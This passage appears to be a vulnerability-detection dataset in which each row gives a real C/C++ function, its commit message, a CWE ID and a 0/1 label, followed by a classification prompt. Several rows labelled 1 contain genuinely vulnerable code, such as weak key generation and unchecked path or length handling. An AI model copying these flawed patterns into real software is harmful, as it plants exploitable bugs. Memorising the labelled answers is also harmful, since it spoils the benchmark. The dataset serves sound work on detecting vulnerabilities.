rm->audio_pkt_cnt = h * w / st->codecpar->block_align;
} else if ((ast->deint_id == DEINT_ID_VBRF) ||
(ast->deint_id == DEINT_ID_VBRS)) {
int x;
rm->audio_stream_num = st->index;
ast->sub_packet_cnt = (avio_rb16(pb) & 0xf0) >> 4;
if (ast->sub_packet_cnt) {
for (x = 0; x < ast->sub_packet_cnt; x++)
ast->sub_packet_lengths[x] = avio_rb16(pb);
rm->audio_pkt_cnt = ast->sub_packet_cnt;
ast->audiotimestamp = timestamp;
} else
return -1;
} else {
ret = av_get_packet(pb, pkt, len);
if (ret < 0)
return ret;
rm_ac3_swap_bytes(st, pkt);
}
} else {
ret = av_get_packet(pb, pkt, len);
if (ret < 0)
return ret;
}
pkt->stream_index = st->index;
pkt->pts = timestamp;
if (flags & 2)
pkt->flags |= AV_PKT_FLAG_KEY;
return st->codecpar->codec_type == AVMEDIA_TYPE_AUDIO ? rm->audio_pkt_cnt : 0;
}
Commit Message: avformat/rmdec: Do not pass mime type in rm_read_multi() to ff_rm_read_mdpr_codecdata()
Fixes: use after free()
Fixes: rmdec-crash-ffe85b4cab1597d1cfea6955705e53f1f5c8a362
Found-by: Paul Ch <paulcher@icloud.com>
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-416 | 0 | 74,851 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int GetZeroFrameBuffer(size_t min_size, vpx_codec_frame_buffer_t *fb) {
EXPECT_TRUE(fb != NULL);
const int idx = FindFreeBufferIndex();
if (idx == num_buffers_)
return -1;
if (ext_fb_list_[idx].size < min_size) {
delete [] ext_fb_list_[idx].data;
ext_fb_list_[idx].data = NULL;
ext_fb_list_[idx].size = min_size;
}
SetFrameBuffer(idx, fb);
return 0;
}
Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478
DO NOT MERGE - libvpx: Pull from upstream
Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06
BUG=23452792
Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec
CWE ID: CWE-119 | 0 | 164,436 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: XdmcpGenerateKey (XdmAuthKeyPtr key)
{
#ifndef HAVE_ARC4RANDOM_BUF
long lowbits, highbits;
srandom ((int)getpid() ^ time((Time_t *)0));
highbits = random ();
highbits = random ();
getbits (lowbits, key->data);
getbits (highbits, key->data + 4);
#else
arc4random_buf(key->data, 8);
#endif
}
Commit Message:
CWE ID: CWE-320 | 1 | 165,472 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int update(printbuffer *p)
{
char *str;
if (!p || !p->buffer) return 0;
str=p->buffer+p->offset;
return p->offset+strlen(str);
}
Commit Message: fix buffer overflow (#30)
CWE ID: CWE-125 | 0 | 93,745 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: cleanup_pathname(struct archive_write_disk *a)
{
char *dest, *src;
char separator = '\0';
dest = src = a->name;
if (*src == '\0') {
archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
"Invalid empty pathname");
return (ARCHIVE_FAILED);
}
#if defined(__CYGWIN__)
cleanup_pathname_win(a);
#endif
/* Skip leading '/'. */
if (*src == '/') {
if (a->flags & ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
"Path is absolute");
return (ARCHIVE_FAILED);
}
separator = *src++;
}
/* Scan the pathname one element at a time. */
for (;;) {
/* src points to first char after '/' */
if (src[0] == '\0') {
break;
} else if (src[0] == '/') {
/* Found '//', ignore second one. */
src++;
continue;
} else if (src[0] == '.') {
if (src[1] == '\0') {
/* Ignore trailing '.' */
break;
} else if (src[1] == '/') {
/* Skip './'. */
src += 2;
continue;
} else if (src[1] == '.') {
if (src[2] == '/' || src[2] == '\0') {
/* Conditionally warn about '..' */
if (a->flags & ARCHIVE_EXTRACT_SECURE_NODOTDOT) {
archive_set_error(&a->archive,
ARCHIVE_ERRNO_MISC,
"Path contains '..'");
return (ARCHIVE_FAILED);
}
}
/*
* Note: Under no circumstances do we
* remove '..' elements. In
* particular, restoring
* '/foo/../bar/' should create the
* 'foo' dir as a side-effect.
*/
}
}
/* Copy current element, including leading '/'. */
if (separator)
*dest++ = '/';
while (*src != '\0' && *src != '/') {
*dest++ = *src++;
}
if (*src == '\0')
break;
/* Skip '/' separator. */
separator = *src++;
}
/*
* We've just copied zero or more path elements, not including the
* final '/'.
*/
if (dest == a->name) {
/*
* Nothing got copied. The path must have been something
* like '.' or '/' or './' or '/././././/./'.
*/
if (separator)
*dest++ = '/';
else
*dest++ = '.';
}
/* Terminate the result. */
*dest = '\0';
return (ARCHIVE_OK);
}
Commit Message: Fixes for Issue #745 and Issue #746 from Doran Moppert.
CWE ID: CWE-20 | 1 | 167,136 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebGLRenderingContextBase::TexImageHelperDOMArrayBufferView(
TexImageFunctionID function_id,
GLenum target,
GLint level,
GLint internalformat,
GLsizei width,
GLsizei height,
GLsizei depth,
GLint border,
GLenum format,
GLenum type,
GLint xoffset,
GLint yoffset,
GLint zoffset,
DOMArrayBufferView* pixels,
NullDisposition null_disposition,
GLuint src_offset) {
const char* func_name = GetTexImageFunctionName(function_id);
if (isContextLost())
return;
if (!ValidateTexImageBinding(func_name, function_id, target))
return;
TexImageFunctionType function_type;
if (function_id == kTexImage2D || function_id == kTexImage3D)
function_type = kTexImage;
else
function_type = kTexSubImage;
if (!ValidateTexFunc(func_name, function_type, kSourceArrayBufferView, target,
level, internalformat, width, height, depth, border,
format, type, xoffset, yoffset, zoffset))
return;
TexImageDimension source_type;
if (function_id == kTexImage2D || function_id == kTexSubImage2D)
source_type = kTex2D;
else
source_type = kTex3D;
if (!ValidateTexFuncData(func_name, source_type, level, width, height, depth,
format, type, pixels, null_disposition, src_offset))
return;
uint8_t* data =
reinterpret_cast<uint8_t*>(pixels ? pixels->BaseAddressMaybeShared() : 0);
if (src_offset) {
DCHECK(pixels);
data += src_offset * pixels->TypeSize();
}
Vector<uint8_t> temp_data;
bool change_unpack_alignment = false;
if (data && (unpack_flip_y_ || unpack_premultiply_alpha_)) {
if (source_type == kTex2D) {
if (!WebGLImageConversion::ExtractTextureData(
width, height, format, type, unpack_alignment_, unpack_flip_y_,
unpack_premultiply_alpha_, data, temp_data))
return;
data = temp_data.data();
}
change_unpack_alignment = true;
}
if (function_id == kTexImage3D) {
ContextGL()->TexImage3D(target, level,
ConvertTexInternalFormat(internalformat, type),
width, height, depth, border, format, type, data);
return;
}
if (function_id == kTexSubImage3D) {
ContextGL()->TexSubImage3D(target, level, xoffset, yoffset, zoffset, width,
height, depth, format, type, data);
return;
}
ScopedUnpackParametersResetRestore temporary_reset_unpack(
this, change_unpack_alignment);
if (function_id == kTexImage2D)
TexImage2DBase(target, level, internalformat, width, height, border, format,
type, data);
else if (function_id == kTexSubImage2D)
ContextGL()->TexSubImage2D(target, level, xoffset, yoffset, width, height,
format, type, data);
}
Commit Message: Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later.
BUG=740603
TEST=new conformance test
R=kbr@chromium.org,piman@chromium.org
Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4
Reviewed-on: https://chromium-review.googlesource.com/570840
Reviewed-by: Antoine Labour <piman@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Commit-Queue: Zhenyao Mo <zmo@chromium.org>
Cr-Commit-Position: refs/heads/master@{#486518}
CWE ID: CWE-119 | 0 | 133,707 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: base::PlatformFileError error_code() const {
return error_code_;
}
Commit Message: Fix a small leak in FileUtilProxy
BUG=none
TEST=green mem bots
Review URL: http://codereview.chromium.org/7669046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97451 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 97,691 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void http_change_connection_header(struct http_txn *txn, struct http_msg *msg, int wanted)
{
struct hdr_ctx ctx;
const char *hdr_val = "Connection";
int hdr_len = 10;
ctx.idx = 0;
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
hdr_val = "Proxy-Connection";
hdr_len = 16;
}
txn->flags &= ~(TX_CON_CLO_SET | TX_CON_KAL_SET);
while (http_find_header2(hdr_val, hdr_len, msg->chn->buf->p, &txn->hdr_idx, &ctx)) {
if (ctx.vlen >= 10 && word_match(ctx.line + ctx.val, ctx.vlen, "keep-alive", 10)) {
if (wanted & TX_CON_KAL_SET)
txn->flags |= TX_CON_KAL_SET;
else
http_remove_header2(msg, &txn->hdr_idx, &ctx);
}
else if (ctx.vlen >= 5 && word_match(ctx.line + ctx.val, ctx.vlen, "close", 5)) {
if (wanted & TX_CON_CLO_SET)
txn->flags |= TX_CON_CLO_SET;
else
http_remove_header2(msg, &txn->hdr_idx, &ctx);
}
}
if (wanted == (txn->flags & (TX_CON_CLO_SET|TX_CON_KAL_SET)))
return;
if ((wanted & TX_CON_CLO_SET) && !(txn->flags & TX_CON_CLO_SET)) {
txn->flags |= TX_CON_CLO_SET;
hdr_val = "Connection: close";
hdr_len = 17;
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
hdr_val = "Proxy-Connection: close";
hdr_len = 23;
}
http_header_add_tail2(msg, &txn->hdr_idx, hdr_val, hdr_len);
}
if ((wanted & TX_CON_KAL_SET) && !(txn->flags & TX_CON_KAL_SET)) {
txn->flags |= TX_CON_KAL_SET;
hdr_val = "Connection: keep-alive";
hdr_len = 22;
if (unlikely(txn->flags & TX_USE_PX_CONN)) {
hdr_val = "Proxy-Connection: keep-alive";
hdr_len = 28;
}
http_header_add_tail2(msg, &txn->hdr_idx, hdr_val, hdr_len);
}
return;
}
Commit Message:
CWE ID: CWE-200 | 0 | 6,817 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void crypto_rng_show(struct seq_file *m, struct crypto_alg *alg)
{
seq_printf(m, "type : rng\n");
seq_printf(m, "seedsize : %u\n", seedsize(alg));
}
Commit Message: crypto: rng - Remove old low-level rng interface
Now that all rng implementations have switched over to the new
interface, we can remove the old low-level interface.
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-476 | 0 | 60,641 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void LayerTreeHostImpl::ResetTreesForTesting() {
if (active_tree_)
active_tree_->DetachLayers();
active_tree_ =
base::MakeUnique<LayerTreeImpl>(this, active_tree()->page_scale_factor(),
active_tree()->top_controls_shown_ratio(),
active_tree()->elastic_overscroll());
active_tree_->property_trees()->is_active = true;
if (pending_tree_)
pending_tree_->DetachLayers();
pending_tree_ = nullptr;
pending_tree_duration_timer_ = nullptr;
if (recycle_tree_)
recycle_tree_->DetachLayers();
recycle_tree_ = nullptr;
}
Commit Message: (Reland) Discard compositor frames from unloaded web content
This is a reland of https://codereview.chromium.org/2707243005/ with a
small change to fix an uninitialized memory error that fails on MSAN
bots.
BUG=672847
TBR=danakj@chromium.org, creis@chromium.org
CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2731283003
Cr-Commit-Position: refs/heads/master@{#454954}
CWE ID: CWE-362 | 0 | 137,332 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: compile_string_node(Node* node, regex_t* reg)
{
int r, len, prev_len, slen, ambig;
UChar *p, *prev, *end;
StrNode* sn;
OnigEncoding enc = reg->enc;
sn = STR_(node);
if (sn->end <= sn->s)
return 0;
end = sn->end;
ambig = NODE_STRING_IS_AMBIG(node);
p = prev = sn->s;
prev_len = enclen(enc, p);
p += prev_len;
slen = 1;
for (; p < end; ) {
len = enclen(enc, p);
if (len == prev_len) {
slen++;
}
else {
r = add_compile_string(prev, prev_len, slen, reg, ambig);
if (r != 0) return r;
prev = p;
slen = 1;
prev_len = len;
}
p += len;
}
return add_compile_string(prev, prev_len, slen, reg, ambig);
}
Commit Message: Fix CVE-2019-13225: problem in converting if-then-else pattern to bytecode.
CWE ID: CWE-476 | 0 | 89,137 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SpdyProxyClientSocket::SpdyProxyClientSocket(
const base::WeakPtr<SpdyStream>& spdy_stream,
const std::string& user_agent,
const HostPortPair& endpoint,
const GURL& url,
const HostPortPair& proxy_server,
const BoundNetLog& source_net_log,
HttpAuthCache* auth_cache,
HttpAuthHandlerFactory* auth_handler_factory)
: next_state_(STATE_DISCONNECTED),
spdy_stream_(spdy_stream),
endpoint_(endpoint),
auth_(new HttpAuthController(HttpAuth::AUTH_PROXY,
GURL("https://" + proxy_server.ToString()),
auth_cache,
auth_handler_factory)),
user_buffer_len_(0),
write_buffer_len_(0),
was_ever_used_(false),
redirect_has_load_timing_info_(false),
net_log_(BoundNetLog::Make(spdy_stream->net_log().net_log(),
NetLog::SOURCE_PROXY_CLIENT_SOCKET)),
weak_factory_(this),
write_callback_weak_factory_(this) {
request_.method = "CONNECT";
request_.url = url;
if (!user_agent.empty())
request_.extra_headers.SetHeader(HttpRequestHeaders::kUserAgent,
user_agent);
net_log_.BeginEvent(NetLog::TYPE_SOCKET_ALIVE,
source_net_log.source().ToEventParametersCallback());
net_log_.AddEvent(
NetLog::TYPE_SPDY_PROXY_CLIENT_SESSION,
spdy_stream->net_log().source().ToEventParametersCallback());
spdy_stream_->SetDelegate(this);
was_ever_used_ = spdy_stream_->WasEverUsed();
}
Commit Message: Sanitize headers in Proxy Authentication Required responses
BUG=431504
Review URL: https://codereview.chromium.org/769043003
Cr-Commit-Position: refs/heads/master@{#310014}
CWE ID: CWE-19 | 0 | 129,385 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void enumAttrAttributeGetter(const v8::PropertyCallbackInfo<v8::Value>& info)
{
TestObject* imp = V8TestObject::toNative(info.Holder());
v8SetReturnValueString(info, imp->enumAttr(), info.GetIsolate());
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 121,700 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: poolAppend(STRING_POOL *pool, const ENCODING *enc,
const char *ptr, const char *end)
{
if (!pool->ptr && !poolGrow(pool))
return NULL;
for (;;) {
const enum XML_Convert_Result convert_res = XmlConvert(enc, &ptr, end, (ICHAR **)&(pool->ptr), (ICHAR *)pool->end);
if ((convert_res == XML_CONVERT_COMPLETED) || (convert_res == XML_CONVERT_INPUT_INCOMPLETE))
break;
if (!poolGrow(pool))
return NULL;
}
return pool->start;
}
Commit Message: xmlparse.c: Fix extraction of namespace prefix from XML name (#186)
CWE ID: CWE-611 | 0 | 92,352 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int http_close(URLContext *h)
{
int ret = 0;
HTTPContext *s = h->priv_data;
#if CONFIG_ZLIB
inflateEnd(&s->inflate_stream);
av_freep(&s->inflate_buffer);
#endif /* CONFIG_ZLIB */
if (!s->end_chunked_post)
/* Close the write direction by sending the end of chunked encoding. */
ret = http_shutdown(h, h->flags);
if (s->hd)
ffurl_closep(&s->hd);
av_dict_free(&s->chained_options);
return ret;
}
Commit Message: http: make length/offset-related variables unsigned.
Fixes #5992, reported and found by Paul Cher <paulcher@icloud.com>.
CWE ID: CWE-119 | 0 | 70,854 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: RGBA32 AXLayoutObject::color() const {
if (!getLayoutObject() || isColorWell())
return AXNodeObject::color();
const ComputedStyle* style = getLayoutObject()->style();
if (!style)
return AXNodeObject::color();
Color color = style->visitedDependentColor(CSSPropertyColor);
return color.rgb();
}
Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
CWE ID: CWE-254 | 0 | 127,022 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void HTMLInputElement::subtreeHasChanged()
{
m_inputType->subtreeHasChanged();
calculateAndAdjustDirectionality();
}
Commit Message: Setting input.x-webkit-speech should not cause focus change
In r150866, we introduced element()->focus() in destroyShadowSubtree()
to retain focus on <input> when its type attribute gets changed.
But when x-webkit-speech attribute is changed, the element is detached
before calling destroyShadowSubtree() and element()->focus() failed
This patch moves detach() after destroyShadowSubtree() to fix the
problem.
BUG=243818
TEST=fast/forms/input-type-change-focusout.html
NOTRY=true
Review URL: https://chromiumcodereview.appspot.com/16084005
git-svn-id: svn://svn.chromium.org/blink/trunk@151444 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | 0 | 113,029 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: json_t *json_object(void)
{
json_object_t *object = jsonp_malloc(sizeof(json_object_t));
if(!object)
return NULL;
json_init(&object->json, JSON_OBJECT);
if(hashtable_init(&object->hashtable))
{
jsonp_free(object);
return NULL;
}
object->serial = 0;
object->visited = 0;
return &object->json;
}
Commit Message: CVE-2013-6401: Change hash function, randomize hashes
Thanks to Florian Weimer and Eric Sesterhenn for reporting, reviewing
and testing.
CWE ID: CWE-310 | 1 | 166,535 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: signed char feh_wm_get_wm_is_e(void)
{
static signed char e = -1;
/* check if E is actually running */
if (e == -1) {
/* XXX: This only covers E17 prior to 6/22/05 */
if ((XInternAtom(disp, "ENLIGHTENMENT_COMMS", True) != None)
&& (XInternAtom(disp, "ENLIGHTENMENT_VERSION", True) != None)) {
D(("Enlightenment detected.\n"));
e = 1;
} else {
D(("Enlightenment not detected.\n"));
e = 0;
}
}
return(e);
}
Commit Message: Fix double-free/OOB-write while receiving IPC data
If a malicious client pretends to be the E17 window manager, it is
possible to trigger an out of boundary heap write while receiving an
IPC message.
The length of the already received message is stored in an unsigned
short, which overflows after receiving 64 KB of data. It's comparably
small amount of data and therefore achievable for an attacker.
When len overflows, realloc() will either be called with a small value
and therefore chars will be appended out of bounds, or len + 1 will be
exactly 0, in which case realloc() behaves like free(). This could be
abused for a later double-free attack as it's even possible to overwrite
the free information -- but this depends on the malloc implementation.
Signed-off-by: Tobias Stoeckmann <tobias@stoeckmann.org>
CWE ID: CWE-787 | 0 | 66,914 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void nfs_flush_error(struct nfs_pageio_descriptor *desc,
struct nfs_pgio_header *hdr)
{
set_bit(NFS_IOHDR_REDO, &hdr->flags);
while (!list_empty(&hdr->rpc_list)) {
struct nfs_write_data *data = list_first_entry(&hdr->rpc_list,
struct nfs_write_data, list);
list_del(&data->list);
nfs_writedata_release(data);
}
desc->pg_completion_ops->error_cleanup(&desc->pg_list);
}
Commit Message: nfs: always make sure page is up-to-date before extending a write to cover the entire page
We should always make sure the cached page is up-to-date when we're
determining whether we can extend a write to cover the full page -- even
if we've received a write delegation from the server.
Commit c7559663 added logic to skip this check if we have a write
delegation, which can lead to data corruption such as the following
scenario if client B receives a write delegation from the NFS server:
Client A:
# echo 123456789 > /mnt/file
Client B:
# echo abcdefghi >> /mnt/file
# cat /mnt/file
0�D0�abcdefghi
Just because we hold a write delegation doesn't mean that we've read in
the entire page contents.
Cc: <stable@vger.kernel.org> # v3.11+
Signed-off-by: Scott Mayhew <smayhew@redhat.com>
Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
CWE ID: CWE-20 | 0 | 39,157 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: isoent_gen_joliet_identifier(struct archive_write *a, struct isoent *isoent,
struct idr *idr)
{
struct iso9660 *iso9660;
struct isoent *np;
unsigned char *p;
size_t l;
int r;
int ffmax, parent_len;
static const struct archive_rb_tree_ops rb_ops = {
isoent_cmp_node_joliet, isoent_cmp_key_joliet
};
if (isoent->children.cnt == 0)
return (0);
iso9660 = a->format_data;
if (iso9660->opt.joliet == OPT_JOLIET_LONGNAME)
ffmax = 206;
else
ffmax = 128;
r = idr_start(a, idr, isoent->children.cnt, ffmax, 6, 2, &rb_ops);
if (r < 0)
return (r);
parent_len = 1;
for (np = isoent; np->parent != np; np = np->parent)
parent_len += np->mb_len + 1;
for (np = isoent->children.first; np != NULL; np = np->chnext) {
unsigned char *dot;
int ext_off, noff, weight;
size_t lt;
if ((int)(l = np->file->basename_utf16.length) > ffmax)
l = ffmax;
p = malloc((l+1)*2);
if (p == NULL) {
archive_set_error(&a->archive, ENOMEM,
"Can't allocate memory");
return (ARCHIVE_FATAL);
}
memcpy(p, np->file->basename_utf16.s, l);
p[l] = 0;
p[l+1] = 0;
np->identifier = (char *)p;
lt = l;
dot = p + l;
weight = 0;
while (lt > 0) {
if (!joliet_allowed_char(p[0], p[1]))
archive_be16enc(p, 0x005F); /* '_' */
else if (p[0] == 0 && p[1] == 0x2E) /* '.' */
dot = p;
p += 2;
lt -= 2;
}
ext_off = (int)(dot - (unsigned char *)np->identifier);
np->ext_off = ext_off;
np->ext_len = (int)l - ext_off;
np->id_len = (int)l;
/*
* Get a length of MBS of a full-pathname.
*/
if ((int)np->file->basename_utf16.length > ffmax) {
if (archive_strncpy_l(&iso9660->mbs,
(const char *)np->identifier, l,
iso9660->sconv_from_utf16be) != 0 &&
errno == ENOMEM) {
archive_set_error(&a->archive, errno,
"No memory");
return (ARCHIVE_FATAL);
}
np->mb_len = (int)iso9660->mbs.length;
if (np->mb_len != (int)np->file->basename.length)
weight = np->mb_len;
} else
np->mb_len = (int)np->file->basename.length;
/* If a length of full-pathname is longer than 240 bytes,
* it violates Joliet extensions regulation. */
if (parent_len + np->mb_len > 240) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
"The regulation of Joliet extensions;"
" A length of a full-pathname of `%s' is "
"longer than 240 bytes, (p=%d, b=%d)",
archive_entry_pathname(np->file->entry),
(int)parent_len, (int)np->mb_len);
return (ARCHIVE_FATAL);
}
/* Make an offset of the number which is used to be set
* hexadecimal number to avoid duplicate identifier. */
if ((int)l == ffmax)
noff = ext_off - 6;
else if ((int)l == ffmax-2)
noff = ext_off - 4;
else if ((int)l == ffmax-4)
noff = ext_off - 2;
else
noff = ext_off;
/* Register entry to the identifier resolver. */
idr_register(idr, np, weight, noff);
}
/* Resolve duplicate identifier with Joliet Volume. */
idr_resolve(idr, idr_set_num_beutf16);
return (ARCHIVE_OK);
}
Commit Message: Issue 711: Be more careful about verifying filename lengths when writing ISO9660 archives
* Don't cast size_t to int, since this can lead to overflow
on machines where sizeof(int) < sizeof(size_t)
* Check a + b > limit by writing it as
a > limit || b > limit || a + b > limit
to avoid problems when a + b wraps around.
CWE ID: CWE-190 | 1 | 167,003 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool NavigationControllerImpl::RendererDidNavigate(
RenderFrameHostImpl* rfh,
const FrameHostMsg_DidCommitProvisionalLoad_Params& params,
LoadCommittedDetails* details,
bool is_navigation_within_page,
NavigationHandleImpl* navigation_handle) {
is_initial_navigation_ = false;
bool overriding_user_agent_changed = false;
if (GetLastCommittedEntry()) {
details->previous_url = GetLastCommittedEntry()->GetURL();
details->previous_entry_index = GetLastCommittedEntryIndex();
if (pending_entry_ &&
pending_entry_->GetIsOverridingUserAgent() !=
GetLastCommittedEntry()->GetIsOverridingUserAgent())
overriding_user_agent_changed = true;
} else {
details->previous_url = GURL();
details->previous_entry_index = -1;
}
bool was_restored = false;
DCHECK(pending_entry_index_ == -1 || pending_entry_->site_instance() ||
pending_entry_->restore_type() != RestoreType::NONE);
if (pending_entry_ && pending_entry_->restore_type() != RestoreType::NONE) {
pending_entry_->set_restore_type(RestoreType::NONE);
was_restored = true;
}
details->did_replace_entry = params.should_replace_current_entry;
details->type = ClassifyNavigation(rfh, params);
details->is_in_page = is_navigation_within_page;
if (PendingEntryMatchesHandle(navigation_handle)) {
if (pending_entry_->reload_type() != ReloadType::NONE) {
last_committed_reload_type_ = pending_entry_->reload_type();
last_committed_reload_time_ =
time_smoother_.GetSmoothedTime(get_timestamp_callback_.Run());
} else if (!pending_entry_->is_renderer_initiated() ||
params.gesture == NavigationGestureUser) {
last_committed_reload_type_ = ReloadType::NONE;
last_committed_reload_time_ = base::Time();
}
}
switch (details->type) {
case NAVIGATION_TYPE_NEW_PAGE:
RendererDidNavigateToNewPage(rfh, params, details->is_in_page,
details->did_replace_entry,
navigation_handle);
break;
case NAVIGATION_TYPE_EXISTING_PAGE:
details->did_replace_entry = details->is_in_page;
RendererDidNavigateToExistingPage(rfh, params, details->is_in_page,
was_restored, navigation_handle);
break;
case NAVIGATION_TYPE_SAME_PAGE:
RendererDidNavigateToSamePage(rfh, params, navigation_handle);
break;
case NAVIGATION_TYPE_NEW_SUBFRAME:
RendererDidNavigateNewSubframe(rfh, params, details->is_in_page,
details->did_replace_entry);
break;
case NAVIGATION_TYPE_AUTO_SUBFRAME:
if (!RendererDidNavigateAutoSubframe(rfh, params)) {
NotifyEntryChanged(GetLastCommittedEntry());
return false;
}
break;
case NAVIGATION_TYPE_NAV_IGNORE:
if (pending_entry_) {
DiscardNonCommittedEntries();
delegate_->NotifyNavigationStateChanged(INVALIDATE_TYPE_URL);
}
return false;
default:
NOTREACHED();
}
base::Time timestamp =
time_smoother_.GetSmoothedTime(get_timestamp_callback_.Run());
DVLOG(1) << "Navigation finished at (smoothed) timestamp "
<< timestamp.ToInternalValue();
DiscardNonCommittedEntriesInternal();
if (!params.page_state.IsValid()) {
base::debug::DumpWithoutCrashing();
NOTREACHED() << "Shouldn't see an empty PageState at commit.";
}
NavigationEntryImpl* active_entry = GetLastCommittedEntry();
active_entry->SetTimestamp(timestamp);
active_entry->SetHttpStatusCode(params.http_status_code);
FrameNavigationEntry* frame_entry =
active_entry->GetFrameEntry(rfh->frame_tree_node());
if (frame_entry) {
frame_entry->SetPageState(params.page_state);
frame_entry->set_redirect_chain(params.redirects);
}
size_t redirect_chain_size = 0;
for (size_t i = 0; i < params.redirects.size(); ++i) {
redirect_chain_size += params.redirects[i].spec().length();
}
UMA_HISTOGRAM_COUNTS("Navigation.RedirectChainSize", redirect_chain_size);
active_entry->ResetForCommit(frame_entry);
if (!rfh->GetParent())
CHECK_EQ(active_entry->site_instance(), rfh->GetSiteInstance());
active_entry->SetBindings(rfh->GetEnabledBindings());
details->entry = active_entry;
details->is_main_frame = !rfh->GetParent();
details->http_status_code = params.http_status_code;
NotifyNavigationEntryCommitted(details);
if (overriding_user_agent_changed)
delegate_->UpdateOverridingUserAgent();
int nav_entry_id = active_entry->GetUniqueID();
for (FrameTreeNode* node : delegate_->GetFrameTree()->Nodes())
node->current_frame_host()->set_nav_entry_id(nav_entry_id);
return true;
}
Commit Message: Add DumpWithoutCrashing in RendererDidNavigateToExistingPage
This is intended to be reverted after investigating the linked bug.
BUG=688425
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2701523004
Cr-Commit-Position: refs/heads/master@{#450900}
CWE ID: CWE-362 | 0 | 137,805 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int crypto_unregister_alg(struct crypto_alg *alg)
{
int ret;
LIST_HEAD(list);
down_write(&crypto_alg_sem);
ret = crypto_remove_alg(alg, &list);
up_write(&crypto_alg_sem);
if (ret)
return ret;
BUG_ON(atomic_read(&alg->cra_refcnt) != 1);
if (alg->cra_destroy)
alg->cra_destroy(alg);
crypto_remove_final(&list);
return 0;
}
Commit Message: crypto: include crypto- module prefix in template
This adds the module loading prefix "crypto-" to the template lookup
as well.
For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly
includes the "crypto-" prefix at every level, correctly rejecting "vfat":
net-pf-38
algif-hash
crypto-vfat(blowfish)
crypto-vfat(blowfish)-all
crypto-vfat
Reported-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Kees Cook <keescook@chromium.org>
Acked-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264 | 0 | 45,504 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: virtual bool CanDuplicateContentsAt(int index) { return false; }
